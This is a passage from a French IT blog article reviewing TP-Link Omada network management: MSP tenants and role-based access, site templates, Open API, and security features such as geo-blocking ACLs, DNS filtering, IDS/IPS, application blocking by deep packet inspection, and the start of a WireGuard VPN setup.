https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-client-50x27.png 50w" sizes="(max-width: 1274px) 100vw, 1274px" /></a></figure>
</figure>



<p></p>



<p>Pour<strong> chaque tenant (organisation), vous pouvez créer une multitude de sites</strong>, et là encore, nous pouvons déléguer les droits par site. Chaque site aura un ou plusieurs équipements réseau.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="435" src="media/f0c3113b.mada-Mode-MSP-Ajouter-un-nouveau-site-chez-un-client-800x435.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-site-chez-un-client-800x435.png" alt="TP-Link Omada - Mode MSP - Ajouter un nouveau site chez un client" class="wp-image-72929" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-site-chez-un-client-800x435.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-site-chez-un-client-550x299.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-site-chez-un-client-150x82.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-site-chez-un-client-768x417.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-site-chez-un-client-50x27.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Ajouter-un-nouveau-site-chez-un-client.png 1273w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Au quotidien, vous pouvez effectuer l'administration de l'ensemble des réseaux de vos clients grâce à une interface unique, simplement en choisissant le client dans la liste.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="220" src="media/f10dcc39.TP-Link-Omada-Mode-MSP-Choisir-un-client.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Choisir-un-client.png" alt="TP-Link Omada - Mode MSP - Choisir un client" class="wp-image-72928" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Choisir-un-client.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Choisir-un-client-550x151.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Choisir-un-client-150x41.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Choisir-un-client-768x211.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Choisir-un-client-50x14.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Grâce au <strong>système de tenants</strong> et au<strong> contrôle d'accès basés sur les rôles (RBAC)</strong>, vous pouvez créer des comptes utilisateurs pour <strong>déléguer l'accès à un utilisateur</strong> afin qu'il puisse gérer ses équipements. Ainsi, <strong>chaque client pourra administrer ses équipements</strong>, ou simplement lire les informations, en fonction des autorisations qui lui sont attribuées.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-8 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/69503288.TP-Link-Omada-Mode-MSP-Creer-utilisateur.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Creer-utilisateur.png"><img decoding="async" width="800" height="760" data-id="72927" src="media/69503288.TP-Link-Omada-Mode-MSP-Creer-utilisateur.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Creer-utilisateur.png" alt="TP-Link Omada - Mode MSP - Créer utilisateur" class="wp-image-72927" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Creer-utilisateur.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Creer-utilisateur-550x523.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Creer-utilisateur-150x143.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Creer-utilisateur-768x730.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-Creer-utilisateur-50x48.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<figure class="wp-block-image size-full"><a href="media/8011df97.TP-Link-Omada-Mode-MSP-RBAC.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-RBAC.png"><img decoding="async" width="800" height="761" data-id="72926" src="media/8011df97.TP-Link-Omada-Mode-MSP-RBAC.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-RBAC.png" alt="TP-Link Omada - Mode MSP - RBAC" class="wp-image-72926" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-RBAC.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-RBAC-550x523.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-RBAC-150x143.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-RBAC-768x731.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Mode-MSP-RBAC-50x48.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>
</figure>



<p></p>



<h3 class="wp-block-heading">E. Les modèles de configuration de site</h3>



<p>Pour aller encore plus loin dans l'industrialisation de vos déploiements réseau, vous pouvez utiliser la fonctionnalité d'importation de sites. </p>



<p>Ceci vous permet de <strong>déployer un site à partir d'un profil de configuration existant</strong>, qui se présente comme <strong>un modèle</strong> (ou une <em>configuration master</em>, si vous préférez). Ainsi, vous pouvez vous<strong> créer une collection de configuration</strong> : une configuration pour les hôtels, une configuration pour les EHPAD, une configuration pour les PME, etc...<strong> En fonction de votre typologie client</strong>. Ce sera un gain de temps et d'efficacité supplémentaire au moment de devoir déployer un nouveau site ! De plus, ceci vous permet d'<strong>homogénéiser vos configurations</strong>.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="453" src="media/febf1bd0.TP-Link-Omada-Site-import-800x453.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Site-import-800x453.png" alt="TP-Link Omada - Site import" class="wp-image-72932" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Site-import-800x453.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Site-import-550x311.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Site-import-150x85.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Site-import-768x435.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Site-import-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Site-import.png 980w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">F. Intégration avec des applications tierces - Open API</h3>



<p>Omada intègre Open API, c'est-à-dire une <strong>API ouverte</strong> (et bien documentée) qui va permettre de <strong>créer des interactions entre Omada et des applications tierces</strong>. Autrement dit, ceci permettrait d'interagir avec Omada sans utiliser l'interface d'Omada, mais l'interface d'une autre application. Par exemple, ceci pourrait être un espace client sur le site Internet de votre entreprise qui sert à remonter des informations sur l'état de vos périphériques, de votre connexion Internet, etc...</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="416" src="media/ae182f09.TP-Link-Omada-Open-API-800x416.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Open-API-800x416.png" alt="TP-Link Omada - Open API" class="wp-image-72969" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Open-API-800x416.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Open-API-550x286.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Open-API-150x78.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Open-API-768x399.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Open-API-50x26.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Open-API.png 850w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Finalement, grâce à l'ensemble des fonctionnalités évoquées dans cette grande partie de l'article, vous en savez plus sur le <strong>déploiement d'un réseau en mode zero touch</strong> grâce à la solution <strong>TP-Link Omada</strong>.</p>



<h2 class="wp-block-heading">III. Les fonctionnalités de sécurité de TP-Link Omada</h2>



<p>Dans cette seconde grande partie de l'article, nous allons évoquer les fonctionnalités de sécurité de TP-Link Omada.</p>



<h3 class="wp-block-heading">A. Filtrage des flux</h3>



<p>Omada intègre plusieurs fonctionnalités pour nous permettre de filtrer les flux, avec notamment la mise en place d'ACL au niveau du routeur, des switchs ou des points d'accès Wi-Fi. À cela s'ajoutent deux autres fonctionnalités : le <strong>filtrage par adresse MAC et le filtrage d'URL</strong>. D'ailleurs, le filtrage d'URL est une fonctionnalité très intéressante, mais trop limitée pour le moment : il n'y a pas de filtrage par catégorie ou de listes noires prédéfinies. Toutefois, nous pouvons bloquer certains mots clés.</p>



<p>Dans l'exemple ci-dessous, nous préparons <strong>une ACL à destination de notre routeur pour bloquer tous les flux en provenance de certains pays </strong>tels que la Russie et la Chine. C'est un moyen d'éviter certaines tentatives d'attaques, même si c'est facilement contournable (avec un VPN afin d'avoir une adresse IP dans un autre pays, par exemple).</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="625" src="media/ca78bae2.TP-Link-Omada-Bloquer-certains-pays-ACL-800x625.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-certains-pays-ACL-800x625.png" alt="TP-Link Omada - Bloquer certains pays ACL" class="wp-image-72956" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-certains-pays-ACL-800x625.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-certains-pays-ACL-550x430.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-certains-pays-ACL-150x117.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-certains-pays-ACL-768x600.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-certains-pays-ACL-50x39.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-certains-pays-ACL.png 866w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">B. Filtrage avec la fonction DNS Proxy</h3>



<p>La fonction "<strong>DNS Proxy</strong>" proposée par Omada va permettre de s'appuyer sur un DNS externe pour filtrer et sécuriser la connexion Internet. Ici, nous avons l'opportunité d'utiliser plusieurs types de proxy DNS, notamment via le protocole <a href="https://www.it-connect.fr/securite-dns-doh-quest-ce-le-dns-over-https/" target="_blank" rel="noopener" title="Sécurité DNS – DoH : Qu’est-ce le DNS over HTTPS ?">DoH (DNS-over-HTTPS)</a> dont l'objectif est de <strong>protéger les flux DNS grâce à une connexion HTTPS (chiffrée)</strong>. </p>



<p>Plusieurs fournisseurs sont pris en charge nativement, et nous pouvons <strong>utiliser un proxy DNS personnalisé</strong>. Dans cet exemple, nous utilisons l'adresse "<em>https://family.cloudflare-dns.com/dns-query</em>" qui permet de bénéficier d'une protection contre les menaces mais également du filtrage pour bloquer le contenu pour adulte (<em>tous les sites pornographiques seront bloqués et "éliminés" des résultats de recherche</em>).</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-9 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/46134662.TP-Link-Omada-DNS-Proxy.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/TP-Link-Omada-DNS-Proxy.png"><img decoding="async" width="1265" height="633" data-id="73016" src="media/46134662.TP-Link-Omada-DNS-Proxy.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/TP-Link-Omada-DNS-Proxy.png" alt="TP-Link Omada - DNS Proxy" class="wp-image-73016" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/TP-Link-Omada-DNS-Proxy.png 1265w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/TP-Link-Omada-DNS-Proxy-550x275.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/TP-Link-Omada-DNS-Proxy-800x400.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/TP-Link-Omada-DNS-Proxy-150x75.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/TP-Link-Omada-DNS-Proxy-768x384.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/TP-Link-Omada-DNS-Proxy-50x25.png 50w" sizes="(max-width: 1265px) 100vw, 1265px" /></a></figure>
</figure>



<p></p>



<p>Cette fonctionnalité se déploie en quelques clics et s'avère très intéressante pour protéger les utilisateurs lorsqu'ils naviguent sur Internet. Cette couche de sécurité vient s'ajouter à toutes les autres que nous allons découvrir dans cet article.</p>



<h3 class="wp-block-heading">C. Bloquer les attaques DDoS</h3>



<p>Omada intègre un ensemble de fonctionnalités pour <strong>détecter et bloquer les paquets malveillants</strong>, dont certains sont utilisées dans le <strong>cadre d'attaque DDoS / DoS</strong> (déni de service). Le "<strong>Ping of death</strong>" et l'<strong>ICMP Flood</strong>, sont des exemplee.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="373" src="media/1354259e.TP-Link-Omada-Bloquer-attaque-DDoS-1.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-1.png" alt="TP-Link Omada - Bloquer attaque DDoS - 1" class="wp-image-72966" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-1.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-1-550x256.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-1-150x70.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-1-768x358.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-1-50x23.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="653" src="media/e67be7be.TP-Link-Omada-Bloquer-attaque-DDoS-2.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-2.png" alt="TP-Link Omada - Bloquer attaque DDoS - 2" class="wp-image-72965" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-2.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-2-550x449.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-2-150x122.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-2-768x627.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Bloquer-attaque-DDoS-2-50x41.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">D. Détection et prévention des intrusions (IDS / IPS)</h3>



<p>La passerelle Omada présente sur site peut également <strong>détecter et bloquer certaines attaques et menaces</strong> puisqu'il est possible d'<strong>activer la détection d'intrusion</strong>. Autrement dit, il y a des fonctions d'<strong>IDS </strong>et <strong>IPS </strong>disponibles.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="594" src="media/6ca33d67.TP-Link-Omada-IDS-IPS-800x594.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-800x594.png" alt="TP-Link Omada - IDS IPS" class="wp-image-72955" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-800x594.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-550x408.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-150x111.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-768x570.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-50x37.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS.png 900w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p><strong>La configuration de l'IDS/IPS est entièrement personnalisable. </strong>Nous pouvons activer ou désactiver certaines fonctionnalités de détection, mais également créer des règles pour gérer des exceptions. Par exemple, et c'est important de le préciser, Omada pourra vous aider à <strong>détecter et bloquer les virus et malwares via l'analyse des flux</strong>.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="622" src="media/578f4c1d.TP-Link-Omada-IDS-IPS-Configuration-800x622.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-Configuration-800x622.png" alt="TP-Link Omada - IDS IPS - Configuration" class="wp-image-72954" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-Configuration-800x622.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-Configuration-550x428.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-Configuration-150x117.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-Configuration-768x597.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-Configuration-50x39.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-IDS-IPS-Configuration.png 898w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">E. Deep Packet Inspection : bloquer des applications</h3>



<p>La section "<strong>Application Control</strong>" de l'interface Omada cache la fonctionnalité <strong>Deep Packet Inspection (DPI) </strong>qui va nous permettre de réaliser du <strong>blocage d'applications et de services</strong> grâce à <strong>l'identification de plus de 2 100 signatures applicatives </strong>dans les flux réseau. Au même titre que les autres fonctionnalités de sécurité, celle-ci est<strong> également gratuite et sans coût supplémentaire </strong>(aucune licence, aucun abonnement).</p>



<p>Vous pourrez bloquer ou limiter les applications pour certains sous-réseaux, à certains moments de la journée ou de la semaine grâce à la création de règles basées sur des plages horaires.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="689" src="media/bf0c9b8e.TP-Link-Omada-Deep-Packet-Inspection.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection.png" alt="TP-Link Omada - Deep Packet Inspection" class="wp-image-72963" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-550x474.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-150x129.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-768x661.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-50x43.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>La liste des applications est consultable dans l'onglet "<strong>Application List</strong>", et nous pouvons faire une recherche ou effectuer un filtre par catégorie. Nous retrouvons de<strong> nombreuses applications, parmi les plus populaires</strong> : Microsoft Teams, Zoom, Discord, Facebook, YouTube, BitTorrent, AnyDesk, TeamViewer, LogMeIn, Amazon Alexa, etc... <strong>C'est très varié.</strong></p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="661" src="media/6ad4cd36.TP-Link-Omada-Deep-Packet-Inspection-Application-List.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-Application-List.png" alt="TP-Link Omada - Deep Packet Inspection - Application List" class="wp-image-72962" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-Application-List.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-Application-List-550x454.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-Application-List-150x124.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-Application-List-768x635.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Deep-Packet-Inspection-Application-List-50x41.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Nous pouvons faire un essai en <strong>bloquant Discord et Facebook 24h/24 et 7J/7</strong>. Il est important de noter que la planification indique les périodes de restriction.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="275" src="media/30988d10.TP-Link-Omada-DPI-Rules-management.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Rules-management.png" alt="TP-Link Omada - DPI Rules management" class="wp-image-72961" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Rules-management.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Rules-management-550x189.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Rules-management-150x52.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Rules-management-768x264.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Rules-management-50x17.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Après la création de la règle, celle-ci est déployée sur l'équipement Omada présent sur site. Quelques secondes plus tard, Facebook et Discord deviennent inaccessibles pour toutes les machines du réseau.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="502" src="media/f8b83604.TP-Link-Omada-DPI-Blocage-facebook-discord.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Blocage-facebook-discord.jpg" alt="TP-Link Omada - DPI - Blocage facebook discord" class="wp-image-72960" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Blocage-facebook-discord.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Blocage-facebook-discord-550x345.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Blocage-facebook-discord-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Blocage-facebook-discord-768x482.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-DPI-Blocage-facebook-discord-50x31.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Au-delà de permettre le blocage et la restriction d'applications et services, le DPI va également générer des journaux. Ceci vous permettra d'identifier les applications les plus utilisées sur votre réseau. S'il s'agit d'une application indésirable et gourmande en bande passante, il ne vous restera plus qu'à créer une règle pour restreindre l'application (il y a également la possibilité d'associer de la <strong>QoS</strong>).</p>



<h3 class="wp-block-heading">F. Serveur VPN : OpenVPN, WireGuard, etc.</h3>



<p>La fonction "VPN" d'Omada est très complète puisque l'on peut utiliser <strong>un routeur en tant que client VPN, mais aussi, et surtout, en tant que serveur VPN</strong>. Lors de la mise en place d'un serveur VPN, nous avons le choix entre plusieurs protocoles : <strong>L2TP</strong>, <strong>PPTP</strong>, <strong>IPsec </strong>et <strong>OpenVPN</strong>. Ceci rend la fonction de serveur VPN adaptée à de nombreux scénarios et usage, car ce sont les protocoles les plus populaires.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="530" src="media/19c03adf.TP-Link-Omada-VPN-client-to-site-protocoles.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-VPN-client-to-site-protocoles.png" alt="TP-Link Omada - VPN client-to-site protocoles" class="wp-image-72939" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-VPN-client-to-site-protocoles.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-VPN-client-to-site-protocoles-550x364.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-VPN-client-to-site-protocoles-150x99.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-VPN-client-to-site-protocoles-768x509.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-VPN-client-to-site-protocoles-50x33.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Par ailleurs, nous avons la possibilité de déployer un VPN à l'aide de WireGuard ! Bien qu'elle soit relativement récente puisque sa première version stable date de mars 2020, sachez que WireGuard est une solution prometteuse et plus performante qu'OpenVPN et consort. En comparaison de solutions comme OpenVPN et IPSec, WireGuard se veut plus simple dans son fonctionnement.</p>



<p>WireGuard présente la particularité de <strong>fonctionner selon le modèle <em>peer-to-peer</em> et non "client-serveur"</strong>, avec une<strong> authentification basée sur un échange de clés</strong>, sur le même principe que le protocole SSH avec les clés privées/publiques. Pour assurer la sécurité des communications, notamment le <strong>chiffrement</strong>, plusieurs algorithmes sont utilisés par WireGuard : chiffrement symétrique avec ChaCha20, authentification des messages avec Poly1305, ainsi que d'autres comme Curve25519, BLAKE2 et SipHash24.</p>



<p>Ainsi, le <strong>routeur TP-Link Omada jouera le rôle de <em>peer</em></strong><em> </em>lorsqu'il s'agit d'<strong>établir une connexion avec un autre <em>peer </em></strong>(l'ordinateur portable d'un utilisateur nomade, par exemple).</p>



<p>D'ailleurs, nous allons voir <strong>comment configurer un VPN WireGuard sur Omada </strong>!</p>



<p>La première étape consiste à créer un nouveau tunnel VPN WireGuard via "<strong>VPN</strong>", "<strong>WireGuard</strong>" puis "<strong>Create New WireGuard</strong>". Ici, nous devons donner un nom à ce profil, par exemple le nom du site et indiquer l'adresse IP publique du routeur. La clé privée est générée automatiquement et nous n'aurons pas besoin de la communiquer. Éventuellement, nous pouvons utiliser <strong>un port personnalisé à la place du port 51820/UDP</strong> qui est le port par défaut.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="550" src="media/a069e0f7.TP-Link-Omada-Configurer-WireGuard-Etape-1-800x550.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-1-800x550.png" alt="" class="wp-image-72944" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-1-800x550.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-1-550x378.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-1-150x103.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-1-768x528.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-1-50x34.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-1-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/TP-Link-Omada-Configurer-WireGuard-Etape-1.png 853w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Une fois que c'est fait, nous pouvons valider pour créer la configuration WireGuard. Il est à noter que la clé publique, que nous devrons déclarer sur les clients VPN,  est bien précisée.</p>



